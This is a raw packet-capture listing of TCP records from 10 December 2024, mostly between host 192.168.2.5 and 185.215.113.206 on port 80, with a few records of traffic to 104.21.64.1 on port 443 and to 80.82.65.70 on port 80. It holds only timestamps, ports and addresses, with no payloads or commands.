Dec 10, 2024 05:10:41.194662094 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.195266962 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.195306063 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.195369005 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.196225882 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.196294069 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.196325064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.197166920 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.197216034 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.197228909 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.197263002 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.198122978 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.198168993 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.198218107 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.199105024 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.199179888 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.199237108 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.200015068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.200119019 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.200175047 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.200963020 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.201066017 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.201118946 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.201899052 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.202024937 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.202065945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.202100992 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.202883959 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.202899933 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.202950954 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.230705023 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.230751991 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.231118917 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.239511967 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.239527941 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.245179892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.245209932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.245265007 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.245429993 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.245609999 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.245652914 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.246376038 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.246424913 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.246484995 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.247116089 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.247311115 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.247360945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.247421026 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.247466087 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.248325109 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.248372078 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.248394012 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.248434067 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.249224901 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.249269962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.249352932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.249396086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.250168085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.250212908 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.250264883 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.251110077 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.251120090 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.251157045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.251171112 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.251209021 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.252072096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.252121925 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.252131939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.252163887 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.253020048 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.253062010 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.253148079 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.253190994 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.254004002 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.254045963 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.254075050 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.254121065 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.254940033 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.254982948 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.255042076 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.255085945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.255873919 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.255996943 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.256042004 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.256848097 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.256934881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.256984949 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.257788897 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.257833004 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.257889986 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.258747101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.258796930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.258820057 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.259113073 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.259676933 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.259821892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.259970903 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.260751009 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.260804892 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.260973930 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.261027098 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.261866093 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.261921883 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.262105942 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.262160063 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.262870073 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.262919903 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.263115883 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.263803005 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.263844013 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.303277969 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.303333044 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.303402901 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.303699970 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.303917885 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.303965092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.304014921 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.304050922 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.304850101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.304963112 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.305013895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.305882931 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.305932045 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.305974007 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.306754112 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.306854963 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.306899071 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.307688951 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.307792902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.307842970 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.308630943 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.308680058 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.333132982 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:41.335150957 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:41.348406076 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.348485947 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.349716902 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.349726915 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.349948883 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.351210117 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.351305962 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:41.351316929 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:41.371484041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.371542931 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.371558905 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.371583939 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.371782064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.371828079 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.371853113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.371953011 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.372325897 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.372370958 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.372390985 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.372437000 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.373276949 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.373325109 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.373353004 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.373393059 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.374208927 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.374255896 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.374274015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.374320984 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.375186920 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.375231981 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.375289917 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.375329971 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.376172066 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.376221895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.376251936 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.376295090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.377072096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.377115965 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.377172947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.377218962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.378040075 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.378086090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.378118992 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.378164053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.378974915 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.379023075 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.379084110 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.379131079 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.379923105 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.379966021 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.379970074 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.380007982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.380916119 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.380963087 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.380989075 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.381035089 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.381813049 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.381860018 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.381927013 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.381970882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.382752895 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.382797956 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.382882118 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.382929087 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.383721113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.383764982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.383802891 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.383845091 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.384686947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.384809017 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.384845972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.385623932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.385669947 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.385819912 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.385867119 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.386571884 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.386615992 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.386725903 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.386770964 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.387537003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.387582064 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.387636900 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.387684107 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.388468981 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.388514996 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.388576031 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.388621092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.389410973 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.389456034 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.389488935 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.389537096 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.390372038 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.390419960 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.390469074 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.390516043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.391375065 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.391422987 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.391500950 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.391555071 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.392314911 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.392359972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.392400980 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.392447948 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.393194914 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.393239021 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.393311977 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.393359900 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.394150972 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.394196033 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.394268036 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.394310951 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.395109892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.395159006 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.395225048 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.395268917 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.399636984 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.399687052 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.437186003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.437211037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.437256098 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.437288046 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.437446117 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.437498093 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.437587023 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.437664032 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.438393116 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.438441992 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.438515902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.438638926 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.439347982 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.439459085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.439498901 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.440289021 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.440339088 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.440391064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.440429926 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.441220045 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.441293001 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.441338062 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.441395044 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.442178011 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.442244053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.442277908 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.442353964 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.443125963 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.443181038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.443214893 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.443259001 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.444103003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.444152117 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.444194078 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.444235086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.445138931 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.445190907 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.445353985 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.445400000 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.446206093 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.446253061 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.446432114 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.446479082 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.447227955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.447272062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.447467089 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.447518110 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.447922945 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.447968960 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.447987080 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.448025942 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.448821068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.448867083 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.448918104 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.449145079 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.449748039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.449798107 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.449876070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.449930906 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.450719118 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.450819969 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.450829983 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.450867891 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.451688051 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.451756954 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.451786041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.451865911 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.452747107 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.452799082 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.452831984 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.452872038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.453563929 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.453624964 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.453654051 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.453695059 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.454509020 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.454571009 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.454615116 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.454689980 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.455457926 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.455518961 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.496674061 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.496686935 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.496753931 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.496838093 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.496851921 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.496892929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.497180939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.497267008 CET	49895	80	192.168.2.5	185.215.113.206
